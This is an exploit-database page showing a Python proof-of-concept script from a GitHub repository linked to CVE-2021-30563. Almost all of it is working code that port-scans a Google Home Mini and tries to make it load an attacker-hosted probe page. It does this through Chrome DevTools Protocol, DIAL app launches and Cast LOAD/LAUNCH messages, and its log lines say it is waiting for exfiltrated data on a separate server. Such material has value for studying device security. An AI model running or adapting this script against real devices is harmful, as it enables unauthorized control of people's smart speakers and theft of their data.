Exploit database

GH-8ffaaa2c33364b540d85c0f3eb40f8a0

remipelloux/hackooglemini

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-30563

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files18

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

googlehomemini/reconstruction/exploit/magellan/mini_recon.py

Python · 15,336 bytes
#!/usr/bin/env python3
"""Phase 5 multi-vector probe — runs once Mini is on LAN.

Tries in order of complexity:
  1. Chrome DevTools Protocol (CDP) port 9222 — direct navigate → probe.html
  2. DIAL HTTP API port 8008 — launch browser app with URL
  3. Cast GET_STATUS → identify running receiver → LOAD with URL
  4. Cast LAUNCH with HTML-capable app IDs

Usage:
  python3 mini_recon.py <mini-ip> <server-ip>
"""
import json, socket, ssl, struct, sys, time, urllib.request, urllib.error, urllib.parse

MINI_IP   = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.29"
SERVER_IP = sys.argv[2] if len(sys.argv) > 2 else "192.168.1.24"
PAGE_URL  = f"http://{SERVER_IP}:8080/probe.html"
CAST_PORT = 8009

def log(msg): print(f"[{time.strftime('%H:%M:%S')}] {msg}", flush=True)

def check_port(ip, port, timeout=2):
    try:
        socket.create_connection((ip, port), timeout=timeout).close()
        return True
    except Exception:
        return False

def http_get(url, timeout=5):
    try:
        req = urllib.request.Request(url, headers={"User-Agent": "probe/1.0"})
        with urllib.request.urlopen(req, timeout=timeout) as r:
            return r.status, r.read().decode(errors="replace")
    except Exception as e:
        return None, str(e)

def http_post(url, body, content_type="application/json", timeout=5):
    try:
        data = body.encode() if isinstance(body, str) else body
        req = urllib.request.Request(url, data=data,
              headers={"Content-Type": content_type, "User-Agent": "probe/1.0"})
        with urllib.request.urlopen(req, timeout=timeout) as r:
            return r.status, r.read().decode(errors="replace")
    except Exception as e:
        return None, str(e)

# ─── Cast helpers ──────────────────────────────────────────────────────────────
def _varint(n):
    out = []
    while n > 0x7f: out.append((n & 0x7f) | 0x80); n >>= 7
    out.append(n); return bytes(out)
def _field(num, wire, data):
    tag = _varint((num << 3) | wire)
    if wire == 2: return tag + _varint(len(data)) + data
    if wire == 0: return tag + _varint(data)  # varint field
    raise ValueError
def cast_message(ns, src, dst, payload):
    # Fields 1 (protocol_version) and 5 (payload_type) are proto int32 → wire type 0
    pb = (_field(1,0,0) + _field(2,2,src.encode()) + _field(3,2,dst.encode())
          + _field(4,2,ns.encode()) + _field(5,0,0) + _field(6,2,payload.encode()))
    return struct.pack(">I", len(pb)) + pb

def cast_connect():
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("ALL:@SECLEVEL=0")
    try: ctx.options |= ssl.OP_LEGACY_SERVER_CONNECT
    except AttributeError: pass
    try: ctx.minimum_version = ssl.TLSVersion.TLSv1
    except Exception: pass
    raw = socket.create_connection((MINI_IP, CAST_PORT), timeout=10)
    sock = ctx.wrap_socket(raw, server_hostname=MINI_IP)
    log(f"Cast TLS: {sock.version()} / {sock.cipher()[0]}")
    return sock

def cast_recv(sock, timeout=5):
    sock.settimeout(timeout)
    try:
        h = sock.recv(4)
        if len(h) < 4: return None
        n = struct.unpack(">I", h)[0]
        body = b""
        while len(body) < n:
            c = sock.recv(n - len(body))
            if not c: break
            body += c
        return body
    except socket.timeout: return None

def cast_drain(sock, secs=5):
    msgs = []
    deadline = time.time() + secs
    while time.time() < deadline:
        body = cast_recv(sock, timeout=max(0.2, deadline - time.time()))
        if body is None: break
        try:
            idx = body.index(b"{")
            msgs.append(json.loads(body[idx:]))
        except Exception: pass
    return msgs

# ─── VECTOR 1: Chrome DevTools Protocol ───────────────────────────────────────
def try_cdp():
    log("VECTOR 1: Chrome DevTools Protocol (port 9222)...")
    for port in [9222, 9229, 9230]:
        if not check_port(MINI_IP, port):
            log(f"  port {port}: closed"); continue
        log(f"  port {port}: OPEN")
        status, body = http_get(f"http://{MINI_IP}:{port}/json")
        log(f"  /json → {status}: {body[:400]}")
        if status == 200:
            try:
                targets = json.loads(body)
                for t in targets:
                    log(f"  target: type={t.get('type')} url={t.get('url')} ws={t.get('webSocketDebuggerUrl')}")
                    ws = t.get("webSocketDebuggerUrl")
                    if ws and t.get("type") in ("page", "iframe", None):
                        log(f"  -> CDP navigate to {PAGE_URL} via {ws}")
                        return cdp_navigate(ws)
            except Exception as e:
                log(f"  parse error: {e}")
    return False

def cdp_navigate(ws_url):
    try:
        import websocket  # websocket-client
    except ImportError:
        # Fall back to raw WebSocket
        return cdp_navigate_raw(ws_url)

def cdp_navigate_raw(ws_url):
    """Raw WebSocket for CDP navigate — no external deps."""
    import hashlib, base64, os, re
    m = re.match(r"ws://([^/]+)(.+)", ws_url)
    if not m: return False
    host, path = m.group(1), m.group(2)
    hostport = host.split(":")
    h = hostport[0]; p = int(hostport[1]) if len(hostport) > 1 else 9222

    key = base64.b64encode(os.urandom(16)).decode()
    upgrade = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
               f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
               f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n")
    sock = socket.create_connection((h, p), timeout=10)
    sock.sendall(upgrade.encode())
    resp = b""
    while b"\r\n\r\n" not in resp:
        resp += sock.recv(4096)
    if b"101" not in resp:
        log(f"  WS upgrade failed: {resp[:200]}"); return False

    def ws_send(sock, data):
        payload = data.encode()
        mask = os.urandom(4)
        n = len(payload)
        if n < 126:
            header = bytes([0x81, 0x80 | n]) + mask
        elif n < 65536:
            header = bytes([0x81, 0xFE]) + n.to_bytes(2, "big") + mask
        else:
            header = bytes([0x81, 0xFF]) + n.to_bytes(8, "big") + mask
        masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
        sock.sendall(header + masked)

    def ws_recv(sock, timeout=5):
        sock.settimeout(timeout)
        try:
            header = sock.recv(2)
            if len(header) < 2: return None
            length = header[1] & 0x7f
            if length == 126:
                length = int.from_bytes(sock.recv(2), "big")
            elif length == 127:
                length = int.from_bytes(sock.recv(8), "big")
            return sock.recv(length).decode(errors="replace")
        except socket.timeout: return None

    navigate_cmd = json.dumps({"id": 1, "method": "Page.navigate",
                               "params": {"url": PAGE_URL}})
    ws_send(sock, navigate_cmd)
    resp = ws_recv(sock, timeout=5)
    log(f"  CDP navigate response: {resp}")
    sock.close()
    return True

# ─── VECTOR 2: DIAL HTTP API (port 8008) ──────────────────────────────────────
def try_dial():
    log("VECTOR 2: DIAL HTTP API (port 8008)...")
    if not check_port(MINI_IP, 8008):
        log("  port 8008: closed"); return False
    log("  port 8008: OPEN")

    # Device description
    status, body = http_get(f"http://{MINI_IP}:8008/ssdp/device-desc.xml")
    log(f"  device-desc: {status} {body[:300]}")

    # List apps
    status, body = http_get(f"http://{MINI_IP}:8008/apps")
    log(f"  /apps: {status} {body[:400]}")

    # Try launching browser app with URL
    url_enc = urllib.parse.quote(PAGE_URL)
    for app in ["browser", "Browser", "chromium", "Chromium", "web", "Web"]:
        status, body = http_post(f"http://{MINI_IP}:8008/apps/{app}",
                                  f"v={url_enc}", "application/x-www-form-urlencoded")
        log(f"  POST /apps/{app}: {status} {body[:200]}")
        if status and status < 400:
            log(f"  -> DIAL {app} launched with {PAGE_URL}!")
            return True

    return False

# ─── VECTOR 3: Cast GET_STATUS → LOAD ─────────────────────────────────────────
def try_cast_status_and_load():
    log("VECTOR 3: Cast GET_STATUS + LOAD...")
    try:
        sock = cast_connect()
        # CONNECT
        sock.sendall(cast_message("urn:x-cast:com.google.cast.tp.connection",
                                  "sender-0", "receiver-0",
                                  json.dumps({"type": "CONNECT"})))
        time.sleep(0.3)
        # GET_STATUS
        sock.sendall(cast_message("urn:x-cast:com.google.cast.receiver",
                                  "sender-0", "receiver-0",
                                  json.dumps({"type": "GET_STATUS", "requestId": 1})))
        msgs = cast_drain(sock, secs=6)
        for m in msgs:
            log(f"  recv: {json.dumps(m)[:400]}")

        # Check if any app is running; try LOAD into it
        for m in msgs:
            if m.get("type") == "RECEIVER_STATUS":
                apps = m.get("status", {}).get("applications", [])
                for app in apps:
                    sid = app.get("sessionId", "")
                    app_id = app.get("appId", "")
                    log(f"  running app: {app_id} session={sid}")
                    # CONNECT to the session
                    sock.sendall(cast_message(
                        "urn:x-cast:com.google.cast.tp.connection",
                        "sender-0", sid,
                        json.dumps({"type": "CONNECT"})
                    ))
                    # LOAD with our URL
                    load_payload = json.dumps({
                        "type": "LOAD",
                        "requestId": 2,
                        "media": {
                            "contentId": PAGE_URL,
                            "contentType": "text/html",
                            "streamType": "NONE",
                        }
                    })
                    sock.sendall(cast_message(
                        "urn:x-cast:com.google.cast.media",
                        "sender-0", sid, load_payload
                    ))
                    log(f"  LOAD sent to session {sid}")
                    more = cast_drain(sock, secs=5)
                    for m2 in more:
                        log(f"  recv: {json.dumps(m2)[:400]}")
        sock.close()
        return len(msgs) > 0
    except Exception as e:
        log(f"  Cast status error: {e}"); return False

# ─── VECTOR 4: Cast LAUNCH with HTML-capable app IDs ──────────────────────────
HTML_APP_IDS = [
    # Backdrop / Home screen (may load content URLs)
    "E8C28D3C",
    # Chrome tab / web receiver candidates
    "85CDB22F",
    "CA5E8412",
    # Generic / wildcard IDs seen in older Cast firmware
    "CCCC",
    "00F44CC0",
    # YouTube — sends contentUrl to its renderer, not as media
    "233637DE",
    # DefaultMediaReceiver with text/html content type trick
    "CC1AD845",
]

def try_cast_launch_html():
    log("VECTOR 4: Cast LAUNCH with HTML-capable app IDs...")
    for app_id in HTML_APP_IDS:
        log(f"  Trying appId={app_id}...")
        try:
            sock = cast_connect()
            sock.sendall(cast_message("urn:x-cast:com.google.cast.tp.connection",
                                      "sender-0", "receiver-0",
                                      json.dumps({"type": "CONNECT"})))
            time.sleep(0.2)
            launch = json.dumps({
                "type": "LAUNCH",
                "appId": app_id,
                "requestId": 10,
                "language": "en-US",
                # receiverUrl: some older firmwares load this directly instead of
                # looking up the app in Google's registry
                "receiverUrl": PAGE_URL,
                "contentUrl": PAGE_URL,
                "launchOptions": {"url": PAGE_URL, "receiverUrl": PAGE_URL},
                "params": {"url": PAGE_URL},
            })
            sock.sendall(cast_message("urn:x-cast:com.google.cast.receiver",
                                      "sender-0", "receiver-0", launch))
            msgs = cast_drain(sock, secs=8)
            for m in msgs:
                log(f"    recv: {json.dumps(m)[:300]}")
            sock.close()
            time.sleep(1)
        except Exception as e:
            log(f"    error: {e}")

def try_cast_ping():
    """Send a PING to verify the Cast connection is alive and receiving."""
    log("VECTOR 4b: Cast PING test...")
    try:
        sock = cast_connect()
        sock.sendall(cast_message("urn:x-cast:com.google.cast.tp.connection",
                                  "sender-0", "receiver-0",
                                  json.dumps({"type": "CONNECT"})))
        time.sleep(0.3)
        sock.sendall(cast_message("urn:x-cast:com.google.cast.tp.heartbeat",
                                  "sender-0", "receiver-0",
                                  json.dumps({"type": "PING"})))
        msgs = cast_drain(sock, secs=4)
        for m in msgs:
            log(f"  PING recv: {json.dumps(m)[:200]}")
        # GET_STATUS with longer drain
        sock.sendall(cast_message("urn:x-cast:com.google.cast.receiver",
                                  "sender-0", "receiver-0",
                                  json.dumps({"type": "GET_STATUS", "requestId": 99})))
        msgs2 = cast_drain(sock, secs=8)
        for m in msgs2:
            log(f"  STATUS recv: {json.dumps(m)[:400]}")
        sock.close()
    except Exception as e:
        log(f"  PING error: {e}")

# ─── Port scan ─────────────────────────────────────────────────────────────────
def port_scan():
    log("Port scan (key ports)...")
    interesting = []
    for port in [80, 443, 8008, 8009, 8080, 8443, 9080, 9180, 9222, 9229,
                 10001, 7000, 7100, 5555, 4949, 22, 23, 5353]:
        if check_port(MINI_IP, port, timeout=1):
            interesting.append(port)
            log(f"  {port}: OPEN")
    if not interesting:
        log("  (only 8009 expected)")
    return interesting

# ─── Main ─────────────────────────────────────────────────────────────────────
if __name__ == "__main__":
    log(f"Recon target: {MINI_IP}, serving: {PAGE_URL}")
    ports = port_scan()

    try_cast_ping()  # always ping first to confirm Cast is alive

    if try_cdp():
        log("CDP navigate SUCCESS — probe.html loaded!")
    elif try_dial():
        log("DIAL launch SUCCESS — waiting for exfil...")
    else:
        try_cast_status_and_load()
        try_cast_launch_html()
    log("Recon done. Watch exfil server for results.")